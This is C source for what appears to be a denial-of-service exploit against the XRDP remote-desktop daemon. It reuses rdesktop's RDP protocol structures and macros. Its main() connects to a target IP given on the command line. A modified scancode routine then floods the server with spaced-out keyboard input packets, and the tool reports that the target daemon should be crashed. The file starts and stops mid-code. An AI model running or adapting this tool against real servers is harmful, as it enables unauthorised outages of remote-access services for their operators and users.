|
};
|
|
|
|
/* MCS PDU codes */
|
|
enum MCS_PDU_TYPE
|
|
{
|
|
MCS_EDRQ = 1, /* Erect Domain Request */
|
|
MCS_DPUM = 8, /* Disconnect Provider Ultimatum */
|
|
MCS_AURQ = 10, /* Attach User Request */
|
|
MCS_AUCF = 11, /* Attach User Confirm */
|
|
MCS_CJRQ = 14, /* Channel Join Request */
|
|
MCS_CJCF = 15, /* Channel Join Confirm */
|
|
MCS_SDRQ = 25, /* Send Data Request */
|
|
MCS_SDIN = 26 /* Send Data Indication */
|
|
};
|
|
|
|
#define MCS_CONNECT_INITIAL 0x7f65
|
|
#define MCS_CONNECT_RESPONSE 0x7f66
|
|
#define BER_TAG_BOOLEAN 1
|
|
#define BER_TAG_INTEGER 2
|
|
#define BER_TAG_OCTET_STRING 4
|
|
#define BER_TAG_RESULT 10
|
|
#define MCS_TAG_DOMAIN_PARAMS 0x30
|
|
#define MCS_GLOBAL_CHANNEL 1003
|
|
|
|
/* RDP secure transport constants */
|
|
#define SEC_RANDOM_SIZE 32
|
|
#define SEC_MODULUS_SIZE 64
|
|
#define SEC_PADDING_SIZE 8
|
|
#define SEC_EXPONENT_SIZE 4
|
|
#define SEC_CLIENT_RANDOM 0x0001
|
|
#define SEC_ENCRYPT 0x0008
|
|
#define SEC_LOGON_INFO 0x0040
|
|
#define SEC_LICENCE_NEG 0x0080
|
|
#define SEC_TAG_SRV_INFO 0x0c01
|
|
#define SEC_TAG_SRV_CRYPT 0x0c02
|
|
#define SEC_TAG_SRV_3 0x0c03
|
|
#define SEC_TAG_CLI_INFO 0xc001
|
|
#define SEC_TAG_CLI_CRYPT 0xc002
|
|
#define SEC_TAG_PUBKEY 0x0006
|
|
#define SEC_TAG_KEYSIG 0x0008
|
|
#define SEC_RSA_MAGIC 0x31415352 /* RSA1 */
|
|
|
|
/* RDP licensing constants */
|
|
#define LICENCE_TOKEN_SIZE 10
|
|
#define LICENCE_HWID_SIZE 20
|
|
#define LICENCE_SIGNATURE_SIZE 16
|
|
#define LICENCE_TAG_DEMAND 0x0201
|
|
#define LICENCE_TAG_AUTHREQ 0x0202
|
|
#define LICENCE_TAG_ISSUE 0x0203
|
|
#define LICENCE_TAG_REISSUE 0x0204
|
|
#define LICENCE_TAG_PRESENT 0x0212
|
|
#define LICENCE_TAG_REQUEST 0x0213
|
|
#define LICENCE_TAG_AUTHRESP 0x0215
|
|
#define LICENCE_TAG_RESULT 0x02ff
|
|
#define LICENCE_TAG_USER 0x000f
|
|
#define LICENCE_TAG_HOST 0x0010
|
|
|
|
/* RDP PDU codes */
|
|
enum RDP_PDU_TYPE
|
|
{
|
|
RDP_PDU_DEMAND_ACTIVE = 1,
|
|
RDP_PDU_CONFIRM_ACTIVE = 3,
|
|
RDP_PDU_DEACTIVATE = 6,
|
|
RDP_PDU_DATA = 7
|
|
};
|
|
|
|
enum RDP_DATA_PDU_TYPE
|
|
{
|
|
RDP_DATA_PDU_UPDATE = 2,
|
|
RDP_DATA_PDU_CONTROL = 20,
|
|
RDP_DATA_PDU_POINTER = 27,
|
|
RDP_DATA_PDU_INPUT = 28,
|
|
RDP_DATA_PDU_SYNCHRONISE = 31,
|
|
RDP_DATA_PDU_BELL = 34,
|
|
RDP_DATA_PDU_LOGON = 38,
|
|
RDP_DATA_PDU_FONT2 = 39
|
|
};
|
|
|
|
enum RDP_CONTROL_PDU_TYPE
|
|
{
|
|
RDP_CTL_REQUEST_CONTROL = 1,
|
|
RDP_CTL_GRANT_CONTROL = 2,
|
|
RDP_CTL_DETACH = 3,
|
|
RDP_CTL_COOPERATE = 4
|
|
};
|
|
|
|
enum RDP_UPDATE_PDU_TYPE
|
|
{
|
|
RDP_UPDATE_ORDERS = 0,
|
|
RDP_UPDATE_BITMAP = 1,
|
|
RDP_UPDATE_PALETTE = 2,
|
|
RDP_UPDATE_SYNCHRONIZE = 3
|
|
};
|
|
|
|
enum RDP_POINTER_PDU_TYPE
|
|
{
|
|
RDP_POINTER_MOVE = 3,
|
|
RDP_POINTER_COLOR = 6,
|
|
RDP_POINTER_CACHED = 7
|
|
};
|
|
|
|
enum RDP_INPUT_DEVICE
|
|
{
|
|
RDP_INPUT_SYNCHRONIZE = 0,
|
|
RDP_INPUT_CODEPOINT = 1,
|
|
RDP_INPUT_VIRTKEY = 2,
|
|
RDP_INPUT_SCANCODE = 4,
|
|
RDP_INPUT_MOUSE = 0x8001
|
|
};
|
|
|
|
/* Device flags */
|
|
#define KBD_FLAG_RIGHT 0x0001
|
|
#define KBD_FLAG_EXT 0x0100
|
|
#define KBD_FLAG_QUIET 0x1000
|
|
#define KBD_FLAG_DOWN 0x4000
|
|
#define KBD_FLAG_UP 0x8000
|
|
|
|
/* These are for synchronization; not for keystrokes */
|
|
#define KBD_FLAG_SCROLL 0x0001
|
|
#define KBD_FLAG_NUMLOCK 0x0002
|
|
#define KBD_FLAG_CAPITAL 0x0004
|
|
|
|
/* See T.128 */
|
|
#define RDP_KEYPRESS 0
|
|
#define RDP_KEYRELEASE (KBD_FLAG_DOWN | KBD_FLAG_UP)
|
|
#define MOUSE_FLAG_MOVE 0x0800
|
|
#define MOUSE_FLAG_BUTTON1 0x1000
|
|
#define MOUSE_FLAG_BUTTON2 0x2000
|
|
#define MOUSE_FLAG_BUTTON3 0x4000
|
|
#define MOUSE_FLAG_BUTTON4 0x0280
|
|
#define MOUSE_FLAG_BUTTON5 0x0380
|
|
#define MOUSE_FLAG_DOWN 0x8000
|
|
|
|
/* Raster operation masks */
|
|
#define ROP2_S(rop3) (rop3 & 0xf)
|
|
#define ROP2_P(rop3) ((rop3 & 0x3) | ((rop3 & 0x30) >> 2))
|
|
#define ROP2_COPY 0xc
|
|
#define ROP2_XOR 0x6
|
|
#define ROP2_AND 0x8
|
|
#define ROP2_NXOR 0x9
|
|
#define ROP2_OR 0xe
|
|
#define MIX_TRANSPARENT 0
|
|
#define MIX_OPAQUE 1
|
|
#define TEXT2_VERTICAL 0x04
|
|
#define TEXT2_IMPLICIT_X 0x20
|
|
|
|
/* RDP capabilities */
|
|
#define RDP_CAPSET_GENERAL 1
|
|
#define RDP_CAPLEN_GENERAL 0x18
|
|
#define OS_MAJOR_TYPE_UNIX 4
|
|
#define OS_MINOR_TYPE_XSERVER 7
|
|
#define RDP_CAPSET_BITMAP 2
|
|
#define RDP_CAPLEN_BITMAP 0x1C
|
|
#define RDP_CAPSET_ORDER 3
|
|
#define RDP_CAPLEN_ORDER 0x58
|
|
#define ORDER_CAP_NEGOTIATE 2
|
|
#define ORDER_CAP_NOSUPPORT 4
|
|
#define RDP_CAPSET_BMPCACHE 4
|
|
#define RDP_CAPLEN_BMPCACHE 0x28
|
|
#define RDP_CAPSET_CONTROL 5
|
|
#define RDP_CAPLEN_CONTROL 0x0C
|
|
#define RDP_CAPSET_ACTIVATE 7
|
|
#define RDP_CAPLEN_ACTIVATE 0x0C
|
|
#define RDP_CAPSET_POINTER 8
|
|
#define RDP_CAPLEN_POINTER 0x08
|
|
#define RDP_CAPSET_SHARE 9
|
|
#define RDP_CAPLEN_SHARE 0x08
|
|
#define RDP_CAPSET_COLCACHE 10
|
|
#define RDP_CAPLEN_COLCACHE 0x08
|
|
#define RDP_CAPSET_UNKNOWN 13
|
|
#define RDP_CAPLEN_UNKNOWN 0x9C
|
|
#define RDP_SOURCE "MSTSC"
|
|
|
|
/* Logon flags */
|
|
#define RDP_LOGON_NORMAL 0x33
|
|
#define RDP_LOGON_AUTO 0x8
|
|
|
|
/* Keymap flags */
|
|
#define MapRightShiftMask (1<<0)
|
|
#define MapLeftShiftMask (1<<1)
|
|
#define MapShiftMask (MapRightShiftMask | MapLeftShiftMask)
|
|
#define MapRightAltMask (1<<2)
|
|
#define MapLeftAltMask (1<<3)
|
|
#define MapAltGrMask MapRightAltMask
|
|
#define MapRightCtrlMask (1<<4)
|
|
#define MapLeftCtrlMask (1<<5)
|
|
#define MapCtrlMask (MapRightCtrlMask | MapLeftCtrlMask)
|
|
#define MapRightWinMask (1<<6)
|
|
#define MapLeftWinMask (1<<7)
|
|
#define MapWinMask (MapRightWinMask | MapLeftWinMask)
|
|
#define MapNumLockMask (1<<8)
|
|
#define MapCapsLockMask (1<<9)
|
|
#define MapLocalStateMask (1<<10)
|
|
#define MapInhibitMask (1<<11)
|
|
#define MASK_ADD_BITS(var, mask) (var |= mask)
|
|
#define MASK_REMOVE_BITS(var, mask) (var &= ~mask)
|
|
#define MASK_HAS_BITS(var, mask) ((var & mask)>0)
|
|
#define MASK_CHANGE_BIT(var, mask, active) (var = ((var & ~mask) | (active ? mask : 0)))
|
|
|
|
/* Parser state */
|
|
typedef struct stream
|
|
{
|
|
unsigned char *p;
|
|
unsigned char *end;
|
|
unsigned char *data;
|
|
unsigned int size;
|
|
|
|
/* Offsets of various headers */
|
|
unsigned char *iso_hdr;
|
|
unsigned char *mcs_hdr;
|
|
unsigned char *sec_hdr;
|
|
unsigned char *rdp_hdr;
|
|
|
|
}
|
|
*STREAM;
|
|
|
|
#define s_push_layer(s,h,n) { (s)->h = (s)->p; (s)->p += n; }
|
|
#define s_pop_layer(s,h) (s)->p = (s)->h;
|
|
#define s_mark_end(s) (s)->end = (s)->p;
|
|
#define s_check(s) ((s)->p <= (s)->end)
|
|
#define s_check_rem(s,n) ((s)->p + n <= (s)->end)
|
|
#define s_check_end(s) ((s)->p == (s)->end)
|
|
#if defined(L_ENDIAN) && !defined(NEED_ALIGN)
|
|
#define in_uint16_le(s,v) { v = *(uint16 *)((s)->p); (s)->p += 2; }
|
|
#define in_uint32_le(s,v) { v = *(uint32 *)((s)->p); (s)->p += 4; }
|
|
#define out_uint16_le(s,v) { *(uint16 *)((s)->p) = v; (s)->p += 2; }
|
|
#define out_uint32_le(s,v) { *(uint32 *)((s)->p) = v; (s)->p += 4; }
|
|
#else
|
|
#define in_uint16_le(s,v) { v = *((s)->p++); v += *((s)->p++) << 8; }
|
|
#define in_uint32_le(s,v) { in_uint16_le(s,v) \
|
|
v += *((s)->p++) << 16; v += *((s)->p++) << 24; }
|
|
#define out_uint16_le(s,v) { *((s)->p++) = (v) & 0xff; *((s)->p++) = ((v) >> 8) & 0xff; }
|
|
#define out_uint32_le(s,v) { out_uint16_le(s, (v) & 0xffff); out_uint16_le(s, ((v) >> 16) & 0xffff); }
|
|
#endif
|
|
#if defined(B_ENDIAN) && !defined(NEED_ALIGN)
|
|
#define in_uint16_be(s,v) { v = *(uint16 *)((s)->p); (s)->p += 2; }
|
|
#define in_uint32_be(s,v) { v = *(uint32 *)((s)->p); (s)->p += 4; }
|
|
#define out_uint16_be(s,v) { *(uint16 *)((s)->p) = v; (s)->p += 2; }
|
|
#define out_uint32_be(s,v) { *(uint32 *)((s)->p) = v; (s)->p += 4; }
|
|
#define B_ENDIAN_PREFERRED
|
|
#define in_uint16(s,v) in_uint16_be(s,v)
|
|
#define in_uint32(s,v) in_uint32_be(s,v)
|
|
#define out_uint16(s,v) out_uint16_be(s,v)
|
|
#define out_uint32(s,v) out_uint32_be(s,v)
|
|
#else
|
|
#define next_be(s,v) v = ((v) << 8) + *((s)->p++);
|
|
#define in_uint16_be(s,v) { v = *((s)->p++); next_be(s,v); }
|
|
#define in_uint32_be(s,v) { in_uint16_be(s,v); next_be(s,v); next_be(s,v); }
|
|
#define out_uint16_be(s,v) { *((s)->p++) = ((v) >> 8) & 0xff; *((s)->p++) = (v) & 0xff; }
|
|
#define out_uint32_be(s,v) { out_uint16_be(s, ((v) >> 16) & 0xffff); out_uint16_be(s, (v) & 0xffff); }
|
|
#endif
|
|
#ifndef B_ENDIAN_PREFERRED
|
|
#define in_uint16(s,v) in_uint16_le(s,v)
|
|
#define in_uint32(s,v) in_uint32_le(s,v)
|
|
#define out_uint16(s,v) out_uint16_le(s,v)
|
|
#define out_uint32(s,v) out_uint32_le(s,v)
|
|
#endif
|
|
#define in_uint8(s,v) v = *((s)->p++);
|
|
#define in_uint8p(s,v,n) { v = (s)->p; (s)->p += n; }
|
|
#define in_uint8a(s,v,n) { memcpy(v,(s)->p,n); (s)->p += n; }
|
|
#define in_uint8s(s,n) (s)->p += n;
|
|
#define out_uint8(s,v) *((s)->p++) = v;
|
|
#define out_uint8p(s,v,n) { memcpy((s)->p,v,n); (s)->p += n; }
|
|
#define out_uint8a(s,v,n) out_uint8p(s,v,n);
|
|
#define out_uint8s(s,n) { memset((s)->p,0,n); (s)->p += n; }
|
|
#define SCANCODE_EXTENDED 0x80
|
|
#define SCANCODE_KEY_44 0x2a
|
|
#define SCANCODE_CHAR_LSHIFT SCANCODE_KEY_44
|
|
#define SCANCODE_KEY_57 0x36
|
|
#define SCANCODE_CHAR_RSHIFT SCANCODE_KEY_57
|
|
#define SCANCODE_KEY_58 0x1d
|
|
#define SCANCODE_CHAR_LCTRL SCANCODE_KEY_58
|
|
#define SCANCODE_KEY_60 0x38
|
|
#define SCANCODE_CHAR_LALT SCANCODE_KEY_60
|
|
#define SCANCODE_KEY_62 (SCANCODE_EXTENDED | 0x38)
|
|
#define SCANCODE_CHAR_RALT SCANCODE_KEY_62
|
|
#define SCANCODE_KEY_64 (SCANCODE_EXTENDED | 0x1d)
|
|
#define SCANCODE_CHAR_RCTRL SCANCODE_KEY_64
|
|
#define SCANCODE_KEY_90 0x45
|
|
#define SCANCODE_CHAR_NUMLOCK SCANCODE_KEY_90
|
|
#define SCANCODE_KEY_110 0x1
|
|
#define SCANCODE_CHAR_ESC SCANCODE_KEY_110
|
|
#define SCANCODE_CHAR_LWIN (SCANCODE_EXTENDED | 0x5b)
|
|
#define SCANCODE_CHAR_RWIN (SCANCODE_EXTENDED | 0x5c)
|
|
#define s_push_layer(s,h,n) { (s)->h = (s)->p; (s)->p += n; }
|
|
#define s_pop_layer(s,h) (s)->p = (s)->h;
|
|
#define s_mark_end(s) (s)->end = (s)->p;
|
|
#define s_check(s) ((s)->p <= (s)->end)
|
|
#define s_check_rem(s,n) ((s)->p + n <= (s)->end)
|
|
#define s_check_end(s) ((s)->p == (s)->end)
|
|
#define RDP_ORDER_STANDARD 0x01
|
|
#define RDP_ORDER_SECONDARY 0x02
|
|
#define RDP_ORDER_BOUNDS 0x04
|
|
#define RDP_ORDER_CHANGE 0x08
|
|
#define RDP_ORDER_DELTA 0x10
|
|
#define RDP_ORDER_LASTBOUNDS 0x20
|
|
#define RDP_ORDER_SMALL 0x40
|
|
#define RDP_ORDER_TINY 0x80
|
|
#define MAX_TEXT 256
|
|
#define MAX_DATA 256
|
|
|
|
enum RDP_ORDER_TYPE
|
|
{
|
|
RDP_ORDER_DESTBLT = 0,
|
|
RDP_ORDER_PATBLT = 1,
|
|
RDP_ORDER_SCREENBLT = 2,
|
|
RDP_ORDER_LINE = 9,
|
|
RDP_ORDER_RECT = 10,
|
|
RDP_ORDER_DESKSAVE = 11,
|
|
RDP_ORDER_MEMBLT = 13,
|
|
RDP_ORDER_TRIBLT = 14,
|
|
RDP_ORDER_POLYLINE = 22,
|
|
RDP_ORDER_TEXT2 = 27
|
|
};
|
|
|
|
typedef struct _POLYLINE_ORDER
|
|
{
|
|
uint16 x;
|
|
uint16 y;
|
|
uint8 opcode;
|
|
uint8 fgcolour;
|
|
uint8 lines;
|
|
uint8 datasize;
|
|
uint8 data[MAX_DATA];
|
|
|
|
}
|
|
POLYLINE_ORDER;
|
|
|
|
typedef struct _DESTBLT_ORDER
|
|
{
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 opcode;
|
|
|
|
}
|
|
DESTBLT_ORDER;
|
|
|
|
typedef struct _PATBLT_ORDER
|
|
{
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 opcode;
|
|
uint8 bgcolour;
|
|
uint8 fgcolour;
|
|
BRUSH brush;
|
|
|
|
}
|
|
PATBLT_ORDER;
|
|
|
|
typedef struct _SCREENBLT_ORDER
|
|
{
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 opcode;
|
|
uint16 srcx;
|
|
uint16 srcy;
|
|
|
|
}
|
|
SCREENBLT_ORDER;
|
|
|
|
typedef struct _LINE_ORDER
|
|
{
|
|
uint16 mixmode;
|
|
uint16 startx;
|
|
uint16 starty;
|
|
uint16 endx;
|
|
uint16 endy;
|
|
uint8 bgcolour;
|
|
uint8 opcode;
|
|
PEN pen;
|
|
|
|
}
|
|
LINE_ORDER;
|
|
|
|
typedef struct _RECT_ORDER
|
|
{
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 colour;
|
|
|
|
}
|
|
RECT_ORDER;
|
|
|
|
typedef struct _DESKSAVE_ORDER
|
|
{
|
|
uint32 offset;
|
|
uint16 left;
|
|
uint16 top;
|
|
uint16 right;
|
|
uint16 bottom;
|
|
uint8 action;
|
|
|
|
}
|
|
DESKSAVE_ORDER;
|
|
|
|
typedef struct _MEMBLT_ORDER
|
|
{
|
|
uint8 colour_table;
|
|
uint8 cache_id;
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 opcode;
|
|
uint16 srcx;
|
|
uint16 srcy;
|
|
uint16 cache_idx;
|
|
|
|
}
|
|
MEMBLT_ORDER;
|
|
|
|
|
|
typedef struct _TRIBLT_ORDER
|
|
{
|
|
uint8 colour_table;
|
|
uint8 cache_id;
|
|
uint16 x;
|
|
uint16 y;
|
|
uint16 cx;
|
|
uint16 cy;
|
|
uint8 opcode;
|
|
uint16 srcx;
|
|
uint16 srcy;
|
|
uint8 bgcolour;
|
|
uint8 fgcolour;
|
|
BRUSH brush;
|
|
uint16 cache_idx;
|
|
uint16 unknown;
|
|
|
|
}
|
|
TRIBLT_ORDER;
|
|
|
|
typedef struct _TEXT2_ORDER
|
|
{
|
|
uint8 font;
|
|
uint8 flags;
|
|
uint8 mixmode;
|
|
uint8 unknown;
|
|
uint8 fgcolour;
|
|
uint8 bgcolour;
|
|
uint16 clipleft;
|
|
uint16 cliptop;
|
|
uint16 clipright;
|
|
uint16 clipbottom;
|
|
uint16 boxleft;
|
|
uint16 boxtop;
|
|
uint16 boxright;
|
|
uint16 boxbottom;
|
|
uint16 x;
|
|
uint16 y;
|
|
uint8 length;
|
|
uint8 text[MAX_TEXT];
|
|
|
|
}
|
|
TEXT2_ORDER;
|
|
|
|
typedef struct _RDP_ORDER_STATE
|
|
{
|
|
uint8 order_type;
|
|
BOUNDS bounds;
|
|
|
|
DESTBLT_ORDER destblt;
|
|
PATBLT_ORDER patblt;
|
|
SCREENBLT_ORDER screenblt;
|
|
LINE_ORDER line;
|
|
RECT_ORDER rect;
|
|
DESKSAVE_ORDER desksave;
|
|
MEMBLT_ORDER memblt;
|
|
TRIBLT_ORDER triblt;
|
|
POLYLINE_ORDER polyline;
|
|
TEXT2_ORDER text2;
|
|
|
|
}
|
|
RDP_ORDER_STATE;
|
|
//End typedefs and structs
|
|
|
|
|
|
// Begin XRDP global variables
|
|
//mcs.c
|
|
uint16 mcs_userid;
|
|
|
|
//xkeymap.c
|
|
#define KEYMAP_SIZE 0xffff+1
|
|
#define KEYMAP_MASK 0xffff
|
|
#define KEYMAP_MAX_LINE_LENGTH 80
|
|
extern Display *display;
|
|
extern BOOL enable_compose;
|
|
static BOOL keymap_loaded;
|
|
static key_translation keymap[KEYMAP_SIZE];
|
|
static int min_keycode;
|
|
static uint16 remote_modifier_state = 0;
|
|
static void update_modifier_state(uint8 scancode, BOOL pressed);
|
|
|
|
//license.c
|
|
static uint8 licence_key[16];
|
|
static uint8 licence_sign_key[16];
|
|
BOOL licence_issued = False;
|
|
|
|
//rdp.c
|
|
extern uint16 mcs_userid;
|
|
extern BOOL bitmap_compression;
|
|
extern BOOL orders;
|
|
extern BOOL encryption;
|
|
extern BOOL desktop_save;
|
|
uint8 *next_packet;
|
|
uint32 rdp_shareid;
|
|
|
|
//orders.c
|
|
extern uint8 *next_packet;
|
|
static RDP_ORDER_STATE order_state;
|
|
|
|
//secure.c
|
|
extern int width;
|
|
extern int height;
|
|
extern BOOL encryption;
|
|
extern BOOL licence_issued;
|
|
static int rc4_key_len;
|
|
static RC4_KEY rc4_decrypt_key;
|
|
static RC4_KEY rc4_encrypt_key;
|
|
static uint8 sec_sign_key[16];
|
|
static uint8 sec_decrypt_key[16];
|
|
static uint8 sec_encrypt_key[16];
|
|
static uint8 sec_decrypt_update_key[16];
|
|
static uint8 sec_encrypt_update_key[16];
|
|
static uint8 sec_crypted_random[SEC_MODULUS_SIZE];
|
|
|
|
//tcp.c
|
|
static int sock;
|
|
static struct stream in;
|
|
static struct stream out;
|
|
extern int tcp_port_rdp;
|
|
|
|
//xwin.c
|
|
static int x_socket;
|
|
static int ix = 36; // We force the program to interact
|
|
// with X windows as little as possible
|
|
// with this counter.
|
|
//rdesktop.c
|
|
char title[32] = "";
|
|
char username[16];
|
|
char hostname[16];
|
|
char keymapname[16];
|
|
int keylayout = 0x409;
|
|
int width = 800;
|
|
int height = 600;
|
|
int tcp_port_rdp = TCP_PORT_RDP;
|
|
BOOL bitmap_compression = True;
|
|
BOOL sendmotion = True;
|
|
BOOL orders = True;
|
|
BOOL encryption = True;
|
|
BOOL desktop_save = True;
|
|
BOOL fullscreen = False;
|
|
BOOL grab_keyboard = True;
|
|
BOOL hide_decorations = False;
|
|
extern BOOL owncolmap;
|
|
// End global variables
|
|
|
|
|
|
|
|
//Start function definitions
|
|
static BOOL mcs_recv_aucf(uint16 * mcs_userid);
|
|
static BOOL mcs_recv_cjcf(void);
|
|
static BOOL mcs_recv_connect_response(STREAM mcs_data);
|
|
static void rdp_send_synchronise(void);
|
|
static void mcs_send_aurq(void);
|
|
static void mcs_send_cjrq(uint16 chanid);
|
|
static void mcs_send_connect_initial(STREAM mcs_data);
|
|
static void mcs_send_edrq(void);
|
|
static void process_secondary_order(STREAM s);
|
|
static void process_update_pdu(STREAM s);
|
|
static STREAM rdp_recv(uint8 * type);
|
|
static void rdp_send_control(uint16 action);
|
|
static void rdp_send_fonts(uint16 seq);
|
|
static void rdp_send_confirm_active(void);
|
|
static void reverse(uint8 * p, int len);
|
|
STREAM sec_init(uint32 flags, int maxlen);
|
|
STREAM sec_recv(void);
|
|
STREAM tcp_init(int maxlen);
|
|
STREAM tcp_recv(int length);
|
|
int ui_select(int rdp_socket);
|
|
void * xmalloc(int size);
|
|
key_translation xkeymap_translate_key(uint32 keysym, unsigned int keycode, unsigned int state);
|
|
//End function definitions
|
|
|
|
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
char server[64];
|
|
char fullhostname[64];
|
|
char domain[16];
|
|
char password[16];
|
|
char shell[128];
|
|
char directory[32];
|
|
BOOL prompt_password;
|
|
struct passwd *pw;
|
|
uint32 flags;
|
|
char *p;
|
|
int c;
|
|
int username_option = 0;
|
|
encryption = False;
|
|
sendmotion = False;
|
|
flags = RDP_LOGON_NORMAL;
|
|
prompt_password = False;
|
|
domain[0] = password[0] = shell[0] = directory[0] = 0;
|
|
strcpy(keymapname, "en-us");
|
|
|
|
if (argc == 1)
|
|
{
|
|
fprintf(stderr, "\n[=] Usage: %s <ip address>\n\n", argv[0]);
|
|
return 0;
|
|
}
|
|
|
|
strncpy(server, argv[1], sizeof(server));
|
|
if(!rdp_connect(server, flags, domain, password, shell, directory))
|
|
return 0;
|
|
|
|
fprintf(stderr, "\n[=] Connected to %s\n", argv[1]);
|
|
fprintf(stderr, "[=] Hit CTRL-C if the progress bar stops.\n\n");
|
|
|
|
memset(password, 0, sizeof(password));
|
|
rdp_main_loop();
|
|
fprintf(stderr, "\n[=] Done. Check port 3389 on the remote host.\n\n");
|
|
return 0;
|
|
}
|
|
|
|
|
|
void rdp_send_scancode(uint32 time, uint16 flags, uint8 scancode)
|
|
{
|
|
update_modifier_state(scancode, !(flags & RDP_KEYRELEASE));
|
|
int c1, c2 = 1;
|
|
scancode = '\x1e'; // 0x1e = 0x61 ("A" after parsing.
|
|
|
|
fprintf(stderr, "\tBe patient! It takes about a minute, the RDP packets\n");
|
|
fprintf(stderr, "\tneed to be sent spaced apart or the daemon discards them.\n\n");
|
|
fprintf(stderr, "[=] Progress: ");
|
|
|
|
for (c1 = 1 ; c1 < 100 ; c1++)
|
|
{
|
|
for (c2 = 1 ; c2 < 5 ; c2++)
|
|
{
|
|
//printf("Sending scancode=0x%x, flags=0x%x\n", scancode, flags);
|
|
rdp_send_input(time, RDP_INPUT_SCANCODE, flags, scancode, 0);
|
|
//scancode++;
|
|
}
|
|
|
|
fprintf(stderr, "*");
|
|
sleep(1);
|
|
}
|
|
|
|
fprintf(stderr, "\n[=] The XRDP daemon on target host should be crashed.\n");
|
|
rdp_disconnect();
|
|
exit(1);
|
|
}
|
|
|
|
|
|
/* Output an ASN.1 BER header */
|
|
static void
|
|
ber_out_header(STREAM s, int tagval, int length)
|
|
{
|
|
if (tagval > 0xff)
|
|
{
|
|
out_uint16_be(s, tagval);
|
|
}
|
|
else
|
|
{
|
|
out_uint8(s, tagval);
|
|
}
|
|
|
|
if (length >= 0x80)
|
|
{
|
|
out_uint8(s, 0x82);
|
|
out_uint16_be(s, length);
|
|
}
|
|
else
|
|
out_uint8(s, length);
|
|
}
|
|
|
|
/* Output an ASN.1 BER integer */
|
|
static void
|
|
ber_out_integer(STREAM s, int value)
|
|
{
|
|
ber_out_header(s, BER_TAG_INTEGER, 2);
|
|
out_uint16_be(s, value);
|
|
}
|
|
|
|
|
|
/* Parse an ASN.1 BER header */
|
|
static BOOL
|
|
ber_parse_header(STREAM s, int tagval, int *length)
|
|
{
|
|
int tag, len;
|
|
|
|
if (tagval > 0xff)
|
|
{
|
|
in_uint16_be(s, tag);
|
|
}
|
|
else
|
|
{
|
|
in_uint8(s, tag)}
|
|
|
|
|
|
if (tag != tagval)
|
|
{
|
|
error("expected tag %d, got %d\n", tagval, tag);
|
|
return False;
|
|
}
|
|
|
|
|
|
in_uint8(s, len);
|
|
|
|
if (len & 0x80)
|
|
{
|
|
len &= ~0x80;
|
|
*length = 0;
|
|
while (len--)
|
|
next_be(s, *length);
|
|
}
|
|
else
|
|
*length = len;
|
|
|
|
return s_check(s);
|
|
}
|
|
|
|
|
|
|
|
void
|
|
ensure_remote_modifiers(uint32 ev_time, key_translation tr)
|
|
{
|
|
/* If this key is a modifier, do nothing */
|
|
switch (tr.scancode)
|
|
{
|
|
case SCANCODE_CHAR_LSHIFT:
|
|
case SCANCODE_CHAR_RSHIFT:
|
|
case SCANCODE_CHAR_LCTRL:
|
|
case SCANCODE_CHAR_RCTRL:
|
|
case SCANCODE_CHAR_LALT:
|
|
case SCANCODE_CHAR_RALT:
|
|
case SCANCODE_CHAR_LWIN:
|
|
case SCANCODE_CHAR_RWIN:
|
|
case SCANCODE_CHAR_NUMLOCK:
|
|
return;
|
|
default:
|
|
break;
|
|
}
|
|
|
|
/* Shift. Left shift and right shift are treated as equal; either is fine. */
|
|
if (MASK_HAS_BITS(tr.modifiers, MapShiftMask)
|
|
!= MASK_HAS_BITS(remote_modifier_state, MapShiftMask))
|
|
{
|
|
/* The remote modifier state is not correct */
|
|
if (MASK_HAS_BITS(tr.modifiers, MapLeftShiftMask))
|
|
{
|
|
/* Needs left shift. Send down. */
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, SCANCODE_CHAR_LSHIFT);
|
|
}
|
|
else if (MASK_HAS_BITS(tr.modifiers, MapRightShiftMask))
|
|
{
|
|
/* Needs right shift. Send down. */
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, SCANCODE_CHAR_RSHIFT);
|
|
}
|
|
else
|
|
{
|
|
/* Should not use this modifier. Send up for shift currently pressed. */
|
|
if (MASK_HAS_BITS(remote_modifier_state, MapLeftShiftMask))
|
|
/* Left shift is down */
|
|
rdp_send_scancode(ev_time, RDP_KEYRELEASE, SCANCODE_CHAR_LSHIFT);
|
|
else
|
|
/* Right shift is down */
|
|
rdp_send_scancode(ev_time, RDP_KEYRELEASE, SCANCODE_CHAR_RSHIFT);
|
|
}
|
|
}
|
|
|
|
/* AltGr */
|
|
if (MASK_HAS_BITS(tr.modifiers, MapAltGrMask)
|
|
!= MASK_HAS_BITS(remote_modifier_state, MapAltGrMask))
|
|
{
|
|
/* The remote modifier state is not correct */
|
|
if (MASK_HAS_BITS(tr.modifiers, MapAltGrMask))
|
|
{
|
|
/* Needs this modifier. Send down. */
|
|
rdp_send_scancode(ev_time, RDP_KEYPRESS, SCANCODE_CHAR_RALT);
|
|
}
|
|
else
|
|
{
|
|
/* Should not use this modifier. Send up. */
|
|
rdp_send_scancode(ev_time, RDP_KEYRELEASE, SCANCODE_CHAR_RALT);
|
|
}
|
|
}
|
|
|
|
/* NumLock */
|
|
if (MASK_HAS_BITS(tr.modifiers, MapNumLockMask)
|
|
!= MASK_HAS_BITS(remote_modifier_state, MapNumLockMask))
|
|
{
|
|
/* The remote modifier state is not correct */
|
|
uint16 new_remote_state = 0;
|
|
|
|
if (MASK_HAS_BITS(tr.modifiers, MapNumLockMask))
|
|
{
|
|
|
|
new_remote_state |= KBD_FLAG_NUMLOCK;
|
|
}
|
|
else
|
|
{
|
|
|
|
}
|
|
|
|
rdp_send_input(0, RDP_INPUT_SYNCHRONIZE, 0, new_remote_state, 0);
|
|
update_modifier_state(SCANCODE_CHAR_NUMLOCK, True);
|
|
}
|
|
}
|
|
|
|
|
|
#ifdef EGD_SOCKET
|
|
/* Read 32 random bytes from PRNGD or EGD socket (based on OpenSSL RAND_egd) */
|
|
static BOOL
|
|
generate_random_egd(uint8 * buf)
|
|
{
|
|
struct sockaddr_un addr;
|
|
BOOL ret = False;
|
